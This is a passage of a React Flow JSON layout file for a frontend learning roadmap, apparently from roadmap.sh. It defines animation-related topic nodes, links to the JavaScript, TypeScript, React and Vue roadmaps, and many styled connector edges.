\"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2739.7304293708257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rYJq59Q0YdfK6n3x740Em\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -345.16916540260297,\n        \"y\": 3172.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Animation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.16916540260297,\n        \"y\": 3172.93042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Iv2d4sgODqMPzA9gH6RAw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -345.63327447982533,\n        \"y\": 2918.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transitions & Triggers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.63327447982533,\n        \"y\": 2918.7304293708257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Unjknmb4b2LY-nUVvvF7_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -345.63327447982533,\n        \"y\": 2971.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Complex Sequences\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.63327447982533,\n        \"y\": 2971.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M1CU2Yq6dLp4yOuGV0fhF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -345.63327447982533,\n        \"y\": 3024.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reusable Animations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.63327447982533,\n        \"y\": 3024.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x91jWP81oCTeVEwzX8FbK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -345.63327447982533,\n        \"y\": 3077.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Route Transitions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -345.63327447982533,\n        \"y\": 3077.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 90,\n      \"height\": 49,\n      \"id\": \"eRIUCGaDMDAz6kQYSN-AS\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -292.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vue.js\",\n        \"href\": \"https://roadmap.sh/vue\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"U0fJo2a3vnaodNJhfZ78I\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -292.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4IpVbs5l5Qz-pw_WAFaPH\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -523.7433266387567,\n        \"y\": -244.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"links\": [\n          {\n            \"id\": \"hzJfebcalqROLYAvmHsee\",\n            \"label\": \"JavaScript Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/javascript\"\n          },\n          {\n            \"id\": \"CsdVEytvzSdpIeO3so7Or\",\n            \"label\": \"TypeScript Roadmap\",\n            \"url\": \"https://roadmap.sh/typescript\"\n          },\n          {\n            \"id\": \"7rPkH1iD0bKSMQiczroYV\",\n            \"label\": \"React Roadmap\",\n            \"url\": \"https://roadmap.sh/react\"\n          },\n          {\n            \"id\": \"NKONoOeOrflmwinWXCtQ-\",\n            \"label\": \"Vue Roadmap\",\n            \"url\": \"https://roadmap.sh/vue\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 156,\n      \"positionAbsolute\": {\n        \"x\": -523.7433266387567,\n        \"y\": -244.76957062917046\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 156\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 156\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"DAwKHBng7Tytlcd2_8GOR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-DAwKHBng7Tytlcd2_8GORw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DAwKHBng7Tytlcd2_8GOR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DAwKHBng7Tytlcd2_8GORx2-KDd40JOAvZ8O1mfhTYB3Kw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"EbFRcy4s6yzzIApBqU77Y\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Kz2-EbFRcy4s6yzzIApBqU77Yy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hpShWwL0M57ZAzqkB4I8t\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Kz2-hpShWwL0M57ZAzqkB4I8ty1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"DE3cMpeRYuUPw2ADtfS-3\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Kz2-DE3cMpeRYuUPw2ADtfS-3y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zv1y-I1fIEXtTkb8tOQU0\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Kx2-zv1y-I1fIEXtTkb8tOQU0w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zv1y-I1fIEXtTkb8tOQU0\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"kGnKzCkQCNFEdgCBRtNuW\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zv1y-I1fIEXtTkb8tOQU0x2-kGnKzCkQCNFEdgCBRtNuWw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kGnKzCkQCNFEdgCBRtNuW\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"b_kdNS9PDupcUftslkf9i\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kGnKzCkQCNFEdgCBRtNuWz2-b_kdNS9PDupcUftslkf9iy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"b_kdNS9PDupcUftslkf9i\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"6fhe9xAi_RSVfa-KKbcbV\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-b_kdNS9PDupcUftslkf9ix2-6fhe9xAi_RSVfa-KKbcbVw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6fhe9xAi_RSVfa-KKbcbV\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"kGzlumFdZFxTRZ3HnCGFO\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-6fhe9xAi_RSVfa-KKbcbVx2-kGzlumFdZFxTRZ3HnCGFOw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kGzlumFdZFxTRZ3HnCGFO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"a74v78SvGtWduZpXs7wSq\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kGzlumFdZFxTRZ3HnCGFOx2-a74v78SvGtWduZpXs7wSqw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"a74v78SvGtWduZpXs7wSq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CpsoIVoCKaZnM_-BbXbCh\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-a74v78SvGtWduZpXs7wSqy2-CpsoIVoCKaZnM_-BbXbChz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CpsoIVoCKaZnM_-BbXbCh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8u9uHCRt9RU57erBy79PP\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-CpsoIVoCKaZnM_-BbXbChx2-8u9uHCRt9RU57erBy79PPw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CpsoIVoCKaZnM_-BbXbCh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Q36LQds8k_cSjijvXyWOM\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-CpsoIVoCKaZnM_-BbXbChy2-Q36LQds8k_cSjijvXyWOMz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q36LQds8k_cSjijvXyWOM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8UY0HAvjY7bdbFpt-MM1u\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Q36LQds8k_cSjijvXyWOMz2-8UY0HAvjY7bdbFpt-MM1uy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8UY0HAvjY7bdbFpt-MM1u\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AKPhbg10xXjccO7UBh5eJ\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-8UY0HAvjY7bdbFpt-MM1ux2-AKPhbg10xXjccO7UBh5eJw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8UY0HAvjY7bdbFpt-MM1u\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"lfp7PIjwITU5gBITQdirD\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-8UY0HAvjY7bdbFpt-MM1uz2-lfp7PIjwITU5gBITQdirDy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lfp7PIjwITU5gBITQdirD\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"krXA6ua7E3m4IIpFkgQZe\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lfp7PIjwITU5gBITQdirDz2-krXA6ua7E3m4IIpFkgQZew1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"u1TG8i145o0RKhOR_5epf\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Mqe_s-nwBqAL6X7OGRHEN\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-u1TG8i145o0RKhOR_5epfy2-Mqe_s-nwBqAL6X7OGRHENz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Mqe_s-nwBqAL6X7OGRHEN\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"m4WBnx_9h01Jl6Q1sxi4Y\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Mqe_s-nwBqAL6X7OGRHENy2-m4WBnx_9h01Jl6Q1sxi4Yz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EbJib-XfZFF9bpCtL3aBs\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jfHaS8TqE4tcAo59K8Nkn\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-EbJib-XfZFF9bpCtL3aBsz2-jfHaS8TqE4tcAo59K8Nkny1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jfHaS8TqE4tcAo59K8Nkn\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"b-0yQ74zHtAxI9aRLBohc\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jfHaS8TqE4tcAo59K8Nknx2-b-0yQ74zHtAxI9aRLBohcw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"b-0yQ74zHtAxI9aRLBohc\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kauQofxCmpktXPcnzid17\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-b-0yQ74zHtAxI9aRLBohcz2-kauQofxCmpktXPcnzid17y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EbJib-XfZFF9bpCtL3aBs\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"T3MmS3bvMMgCUbOk3ktU7\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EbJib-XfZFF9bpCtL3aBsz2-T3MmS3bvMMgCUbOk3ktU7w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"b-0yQ74zHtAxI9aRLBohc\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mm6c7GLQEwoQdAHdAYzGh\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-b-0yQ74zHtAxI9aRLBohcx2-mm6c7GLQEwoQdAHdAYzGhw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mm6c7GLQEwoQdAHdAYzGh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VNG9DdXlS6R1OJ6Lrn4Lt\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-mm6c7GLQEwoQdAHdAYzGhz2-VNG9DdXlS6R1OJ6Lrn4Lty2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VNG9DdXlS6R1OJ6Lrn4Lt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"0FvH7KPs9ag02QkD1HEJ-\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VNG9DdXlS6R1OJ6Lrn4Ltz2-0FvH7KPs9ag02QkD1HEJ-y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VNG9DdXlS6R1OJ6Lrn4Lt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CZ1YRyai8Ds-ry4A8jVbr\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VNG9DdXlS6R1OJ6Lrn4Ltz2-CZ1YRyai8Ds-ry4A8jVbry1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VNG9DdXlS6R1OJ6Lrn4Lt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"0s-QhN5aZh2F3tLJFKEyR\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VNG9DdXlS6R1OJ6Lrn4Ltz2-0s-QhN5aZh2F3tLJFKEyRy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VNG9DdXlS6R1OJ6Lrn4Lt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8i_JD1P4gIhY1rdldwLC2\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VNG9DdXlS6R1OJ6Lrn4Ltz2-8i_JD1P4gIhY1rdldwLC2y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VNG9DdXlS6R1OJ6Lrn4Lt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"5-RCB8AiDbkdIFYNXKWge\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-VNG9DdXlS6R1OJ6Lrn4Ltz2-5-RCB8AiDbkdIFYNXKWgey1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lLa-OnHV6GzkNFZu29BIT\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Xxyx3uzy5TpNhgR1IysMN\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-lLa-OnHV6GzkNFZu29BITy2-Xxyx3uzy5TpNhgR1IysMNz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": 